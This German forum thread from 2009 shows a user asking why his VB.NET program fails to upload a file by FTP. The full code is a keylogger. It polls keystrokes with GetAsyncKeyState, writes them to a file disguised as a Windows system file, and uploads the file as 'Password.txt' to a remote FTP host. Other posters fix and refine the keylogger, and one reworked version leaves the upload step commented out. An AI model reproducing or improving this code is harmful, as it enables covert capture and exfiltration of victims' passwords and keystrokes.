Ftp upload Problem

**Fuyo** · 10.07.2009, 10:40

Also liebe Forum User ich habe folgendes Problem :

Code:

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
        Datei.WriteLine(Label1.Text)
        Datei.Close()

        Dim Ort As String = "C:\WINDOWS\windows2233.txtt"
        Dim Ftp As String = "mein ftp"
        Dim Name As String = "mmeine datei"
        Dim User As String = login"
        Dim Password As String = "pw"

        My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)

Warum klappt das nciht ?
Benutze vb 2008 express editoin

**Sawyer** · 10.07.2009, 11:29

Code:

Dim Ort As String = "C:\WINDOWS\windows2233.txtt"

Ich würde mal sagen weil hier ein t zuviel ist.
Sonst müsste alles richtig sein

btw: falsches forum -> move to .NET

MfG

**Perry91** · 10.07.2009, 11:34

Jop t zuviel

**Fuyo** · 10.07.2009, 11:34

Also ich habe das mit dem t korriegiert , passiert immer noch nichts, ich hab dne "Fehlerlog" mal hier :

Eine Ausnahme (erste Chance) des Typs "System.ArgumentException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.
Eine Ausnahme (erste Chance) des Typs "System.IO.FileNotFoundException" ist in Microsoft.VisualBasic.dll aufgetreten.

vllt hilft es einem weiter um mein prob zu lösen

**Sawyer** · 10.07.2009, 11:41

Ich hab im Moment leider keine IDE Installiert , aber es könnte daran liegen , das du ein Flush vergessen hast.

Code:

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
Datei.WriteLine(Label1.Text)
Datei.Flush()
Datei.Close()

MfG

**Fuyo** · 10.07.2009, 11:43

Also könnt das vllt wer überarbeiten ?

Code:

Public Class Form1

    Declare Function GetAsyncKeyState Lib _
    "user32.dll" (ByVal nVirtKey As Keys) As Short
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233.txt")
        Datei.WriteLine(Label1.Text)
        Datei.Flush()
        Datei.Close()

        Dim Ort As String = "C:\WINDOWS\windows2233.txt"
        Dim Ftp As String = "*******.ohost.de"
        Dim Name As String = "Password.txt"
        Dim User As String = "*********"
        Dim Password As String = "*********"

        My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If GetAsyncKeyState(Keys.A) = -32767 Then
            Label1.Text = Label1.Text + ("a")
        End If
        If GetAsyncKeyState(Keys.B) = -32767 Then
            Label1.Text = Label1.Text + ("b")
        End If
        If GetAsyncKeyState(Keys.C) = -32767 Then
            Label1.Text = Label1.Text + ("c")
        End If
        If GetAsyncKeyState(Keys.D) = -32767 Then
            Label1.Text = Label1.Text + ("d")
        End If
        If GetAsyncKeyState(Keys.E) = -32767 Then
            Label1.Text = Label1.Text + ("e")
        End If
        If GetAsyncKeyState(Keys.F) = -32767 Then
            Label1.Text = Label1.Text + ("f")
        End If
        If GetAsyncKeyState(Keys.G) = -32767 Then
            Label1.Text = Label1.Text + ("g")
        End If
        If GetAsyncKeyState(Keys.H) = -32767 Then
            Label1.Text = Label1.Text + ("h")
        End If
        If GetAsyncKeyState(Keys.I) = -32767 Then
            Label1.Text = Label1.Text + ("i")
        End If
        If GetAsyncKeyState(Keys.J) = -32767 Then
            Label1.Text = Label1.Text + ("j")
        End If
        If GetAsyncKeyState(Keys.K) = -32767 Then
            Label1.Text = Label1.Text + ("k")
        End If
        If GetAsyncKeyState(Keys.L) = -32767 Then
            Label1.Text = Label1.Text + ("l")
        End If
        If GetAsyncKeyState(Keys.M) = -32767 Then
            Label1.Text = Label1.Text + ("m")
        End If
        If GetAsyncKeyState(Keys.N) = -32767 Then
            Label1.Text = Label1.Text + ("n")
        End If
        If GetAsyncKeyState(Keys.O) = -32767 Then
            Label1.Text = Label1.Text + ("o")
        End If
        If GetAsyncKeyState(Keys.P) = -32767 Then
            Label1.Text = Label1.Text + ("p")
        End If
        If GetAsyncKeyState(Keys.Q) = -32767 Then
            Label1.Text = Label1.Text + ("q")
        End If
        If GetAsyncKeyState(Keys.R) = -32767 Then
            Label1.Text = Label1.Text + ("r")
        End If
        If GetAsyncKeyState(Keys.S) = -32767 Then
            Label1.Text = Label1.Text + ("s")
        End If
        If GetAsyncKeyState(Keys.T) = -32767 Then
            Label1.Text = Label1.Text + ("t")
        End If
        If GetAsyncKeyState(Keys.U) = -32767 Then
            Label1.Text = Label1.Text + ("u")
        End If
        If GetAsyncKeyState(Keys.V) = -32767 Then
            Label1.Text = Label1.Text + ("v")
        End If
        If GetAsyncKeyState(Keys.W) = -32767 Then
            Label1.Text = Label1.Text + ("w")
        End If
        If GetAsyncKeyState(Keys.X) = -32767 Then
            Label1.Text = Label1.Text + ("x")
        End If
        If GetAsyncKeyState(Keys.Y) = -32767 Then
            Label1.Text = Label1.Text + ("y")
        End If
        If GetAsyncKeyState(Keys.Z) = -32767 Then
            Label1.Text = Label1.Text + ("z")
        End If
        If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
            Label1.Text = Label1.Text + ("1")
        End If
        If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
            Label1.Text = Label1.Text + ("2")
        End If
        If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
            Label1.Text = Label1.Text + ("3")
        End If
        If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
            Label1.Text = Label1.Text + ("4")
        End If
        If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
            Label1.Text = Label1.Text + ("5")
        End If
        If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
            Label1.Text = Label1.Text + ("6")
        End If
        If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
            Label1.Text = Label1.Text + ("7")
        End If
        If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
            Label1.Text = Label1.Text + ("8")
        End If
        If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
            Label1.Text = Label1.Text + ("9")
        End If
        If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
            Label1.Text = Label1.Text + ("0")
        End If
        If GetAsyncKeyState(Keys.Back) = -32767 Then
            Label1.Text = Label1.Text + ("Weggemacht")
        End If
        If GetAsyncKeyState(Keys.Space) = -32767 Then
            Label1.Text = Label1.Text + (" ")
        End If
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        My.Computer.FileSystem.WriteAllText("C:\WINDOWS\windows2233.txt", Label1.Text, False)
    End Sub
End Class

**Sawyer** · 10.07.2009, 11:45

Sry , bin nen "noob" was ist IDE ?

Integrated Development Environment , bekannt als Entwicklungsumgebung oder Compiler^^

MfG

**Fuyo** · 10.07.2009, 11:46

Ehm , ok , aber das hilft mir jetzt auch nicht weiter .
Ich glaube ich habe etwas grundlegendes falsch gemacht im Script , habe es oben über deinen Post gepostet
Public Class Form1

Declare Function GetAsyncKeyState Lib _
"user32.dll" (ByVal nVirtKey As Keys) As Short
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Dim Datei As System.IO.StreamWriter = System.IO.File.CreateText("C:\WINDOWS\windows2233. txt")
Datei.WriteLine(Label1.Text)
Datei.Flush()
Datei.Close()

Dim Ort As String = "C:\WINDOWS\windows2233.txt"
Dim Ftp As String = "*******.ohost.de"
Dim Name As String = "Password.txt"
Dim User As String = "*********"
Dim Password As String = "*********"

My.Computer.Network.UploadFile(Ort, "ftp://" & Ftp & "/" & Name, User, Password)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
Label1.Text = Label1.Text + ("a")
End If
If GetAsyncKeyState(Keys.B) = -32767 Then
Label1.Text = Label1.Text + ("b")
End If
If GetAsyncKeyState(Keys.C) = -32767 Then
Label1.Text = Label1.Text + ("c")
End If
If GetAsyncKeyState(Keys.D) = -32767 Then
Label1.Text = Label1.Text + ("d")
End If
If GetAsyncKeyState(Keys.E) = -32767 Then
Label1.Text = Label1.Text + ("e")
End If
If GetAsyncKeyState(Keys.F) = -32767 Then
Label1.Text = Label1.Text + ("f")
End If
If GetAsyncKeyState(Keys.G) = -32767 Then
Label1.Text = Label1.Text + ("g")
End If
If GetAsyncKeyState(Keys.H) = -32767 Then
Label1.Text = Label1.Text + ("h")
End If
If GetAsyncKeyState(Keys.I) = -32767 Then
Label1.Text = Label1.Text + ("i")
End If
If GetAsyncKeyState(Keys.J) = -32767 Then
Label1.Text = Label1.Text + ("j")
End If
If GetAsyncKeyState(Keys.K) = -32767 Then
Label1.Text = Label1.Text + ("k")
End If
If GetAsyncKeyState(Keys.L) = -32767 Then
Label1.Text = Label1.Text + ("l")
End If
If GetAsyncKeyState(Keys.M) = -32767 Then
Label1.Text = Label1.Text + ("m")
End If
If GetAsyncKeyState(Keys.N) = -32767 Then
Label1.Text = Label1.Text + ("n")
End If
If GetAsyncKeyState(Keys.O) = -32767 Then
Label1.Text = Label1.Text + ("o")
End If
If GetAsyncKeyState(Keys.P) = -32767 Then
Label1.Text = Label1.Text + ("p")
End If
If GetAsyncKeyState(Keys.Q) = -32767 Then
Label1.Text = Label1.Text + ("q")
End If
If GetAsyncKeyState(Keys.R) = -32767 Then
Label1.Text = Label1.Text + ("r")
End If
If GetAsyncKeyState(Keys.S) = -32767 Then
Label1.Text = Label1.Text + ("s")
End If
If GetAsyncKeyState(Keys.T) = -32767 Then
Label1.Text = Label1.Text + ("t")
End If
If GetAsyncKeyState(Keys.U) = -32767 Then
Label1.Text = Label1.Text + ("u")
End If
If GetAsyncKeyState(Keys.V) = -32767 Then
Label1.Text = Label1.Text + ("v")
End If
If GetAsyncKeyState(Keys.W) = -32767 Then
Label1.Text = Label1.Text + ("w")
End If
If GetAsyncKeyState(Keys.X) = -32767 Then
Label1.Text = Label1.Text + ("x")
End If
If GetAsyncKeyState(Keys.Y) = -32767 Then
Label1.Text = Label1.Text + ("y")
End If
If GetAsyncKeyState(Keys.Z) = -32767 Then
Label1.Text = Label1.Text + ("z")
End If
If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
Label1.Text = Label1.Text + ("1")
End If
If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
Label1.Text = Label1.Text + ("2")
End If
If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
Label1.Text = Label1.Text + ("3")
End If
If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
Label1.Text = Label1.Text + ("4")
End If
If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
Label1.Text = Label1.Text + ("5")
End If
If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
Label1.Text = Label1.Text + ("6")
End If
If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
Label1.Text = Label1.Text + ("7")
End If
If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
Label1.Text = Label1.Text + ("8")
End If
If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
Label1.Text = Label1.Text + ("9")
End If
If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
Label1.Text = Label1.Text + ("0")
End If
If GetAsyncKeyState(Keys.Back) = -32767 Then
Label1.Text = Label1.Text + ("Weggemacht")
End If
If GetAsyncKeyState(Keys.Space) = -32767 Then
Label1.Text = Label1.Text + (" ")
End If
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
My.Computer.FileSystem.WriteAllText("C:\WINDOWS\wi ndows2233.txt", Label1.Text, False)

End Sub

**Sawyer** · 10.07.2009, 13:59

Code:

Public Class Form1

    Declare Function GetAsyncKeyState Lib _
    "user32.dll" (ByVal nVirtKey As Keys) As Short

    Dim DateiPfad As String = Environment.GetEnvironmentVariable("windir") & "\log.txt"

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Timer1.Enabled = True
        Timer1.Start()

        'Dim Ftp As String = "*******.ohost.de"
        'Dim Name As String = "Password.txt"
        'Dim User As String = "*********"
        'Dim Password As String = "*********"

        'My.Computer.Network.UploadFile(DateiPfad, "ftp://" & Ftp & "/" & Name, User, Password)
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If GetAsyncKeyState(Keys.A) = -32767 Then
            SchreibeZeile(DateiPfad, "a", True)
        End If

        If GetAsyncKeyState(Keys.B) = -32767 Then
            SchreibeZeile(DateiPfad, "b", True)
        End If

        If GetAsyncKeyState(Keys.C) = -32767 Then
            SchreibeZeile(DateiPfad, "c", True)
        End If

        If GetAsyncKeyState(Keys.D) = -32767 Then
            SchreibeZeile(DateiPfad, "d", True)
        End If

        If GetAsyncKeyState(Keys.E) = -32767 Then
            SchreibeZeile(DateiPfad, "e", True)
        End If

        If GetAsyncKeyState(Keys.F) = -32767 Then
            SchreibeZeile(DateiPfad, "f", True)
        End If

        If GetAsyncKeyState(Keys.G) = -32767 Then
            SchreibeZeile(DateiPfad, "g", True)
        End If

        If GetAsyncKeyState(Keys.H) = -32767 Then
            SchreibeZeile(DateiPfad, "h", True)
        End If

        If GetAsyncKeyState(Keys.I) = -32767 Then
            SchreibeZeile(DateiPfad, "i", True)
        End If

        If GetAsyncKeyState(Keys.J) = -32767 Then
            SchreibeZeile(DateiPfad, "j", True)
        End If

        If GetAsyncKeyState(Keys.K) = -32767 Then
            SchreibeZeile(DateiPfad, "k", True)
        End If

        If GetAsyncKeyState(Keys.L) = -32767 Then
            SchreibeZeile(DateiPfad, "l", True)
        End If

        If GetAsyncKeyState(Keys.M) = -32767 Then
            SchreibeZeile(DateiPfad, "m", True)
        End If

        If GetAsyncKeyState(Keys.N) = -32767 Then
            SchreibeZeile(DateiPfad, "n", True)
        End If

        If GetAsyncKeyState(Keys.O) = -32767 Then
            SchreibeZeile(DateiPfad, "o", True)
        End If

        If GetAsyncKeyState(Keys.P) = -32767 Then
            SchreibeZeile(DateiPfad, "p", True)
        End If

        If GetAsyncKeyState(Keys.Q) = -32767 Then
            SchreibeZeile(DateiPfad, "q", True)
        End If

        If GetAsyncKeyState(Keys.R) = -32767 Then
            SchreibeZeile(DateiPfad, "r", True)
        End If

        If GetAsyncKeyState(Keys.S) = -32767 Then
            SchreibeZeile(DateiPfad, "s", True)
        End If

        If GetAsyncKeyState(Keys.T) = -32767 Then
            SchreibeZeile(DateiPfad, "t", True)
        End If

        If GetAsyncKeyState(Keys.U) = -32767 Then
            SchreibeZeile(DateiPfad, "u", True)
        End If

        If GetAsyncKeyState(Keys.V) = -32767 Then
            SchreibeZeile(DateiPfad, "v", True)
        End If

        If GetAsyncKeyState(Keys.W) = -32767 Then
            SchreibeZeile(DateiPfad, "w", True)
        End If

        If GetAsyncKeyState(Keys.X) = -32767 Then
            SchreibeZeile(DateiPfad, "X", True)
        End If

        If GetAsyncKeyState(Keys.Y) = -32767 Then
            SchreibeZeile(DateiPfad, "Y", True)
        End If

        If GetAsyncKeyState(Keys.Z) = -32767 Then
            SchreibeZeile(DateiPfad, "Z", True)
        End If

        If GetAsyncKeyState(Keys.NumPad1) = -32767 Then
            SchreibeZeile(DateiPfad, "1", True)
        End If

        If GetAsyncKeyState(Keys.NumPad2) = -32767 Then
            SchreibeZeile(DateiPfad, "2", True)
        End If

        If GetAsyncKeyState(Keys.NumPad3) = -32767 Then
            SchreibeZeile(DateiPfad, "3", True)
        End If

        If GetAsyncKeyState(Keys.NumPad4) = -32767 Then
            SchreibeZeile(DateiPfad, "4", True)
        End If

        If GetAsyncKeyState(Keys.NumPad5) = -32767 Then
            SchreibeZeile(DateiPfad, "5", True)
        End If

        If GetAsyncKeyState(Keys.NumPad6) = -32767 Then
            SchreibeZeile(DateiPfad, "6", True)
        End If

        If GetAsyncKeyState(Keys.NumPad7) = -32767 Then
            SchreibeZeile(DateiPfad, "7", True)
        End If

        If GetAsyncKeyState(Keys.NumPad8) = -32767 Then
            SchreibeZeile(DateiPfad, "8", True)
        End If

        If GetAsyncKeyState(Keys.NumPad9) = -32767 Then
            SchreibeZeile(DateiPfad, "9", True)
        End If

        If GetAsyncKeyState(Keys.NumPad0) = -32767 Then
            SchreibeZeile(DateiPfad, "0", True)
        End If

        If GetAsyncKeyState(Keys.Back) = -32767 Then
            SchreibeZeile(DateiPfad, "Weggemacht", True)
        End If

        If GetAsyncKeyState(Keys.Space) = -32767 Then
            SchreibeZeile(DateiPfad, " ", True)
        End If

        If GetAsyncKeyState(Keys.Enter) = -32767 Then
            SchreibeZeile(DateiPfad, "<br />", True)
        End If

    End Sub

    Private Sub SchreibeZeile(ByVal Pfad As String, ByVal Daten As String, ByVal append As Boolean)
        Dim sw As New System.IO.StreamWriter(Pfad, append)

        If Daten = "<br />" Then
            sw.Write(ControlChars.CrLf)
        Else
            sw.Write(Daten)
            sw.Flush()
        End If

        sw.Flush()
        sw.Close()

    End Sub
End Class

Also ich habe deinen Code mal überarbeitet und etwas verbessert
Desweiteren solltest du dir Sache wie ( "Label1.Text = Label1.Text + "1" ) abgewöhnen , da dies noch aus vb classic Zeiten stammt , und in .NET gibt es da spezielle Operatoren wie das +=

MfG

**DarkFire** · 10.07.2009, 14:03

Du solltest Case benutzen =/
Mit If besteht die Chance das Buchstaben "übersehen" werden!

Thema: Ftp upload Problem

Themen-Optionen

Anzeige

Ftp upload Problem

Stichworte

Berechtigungen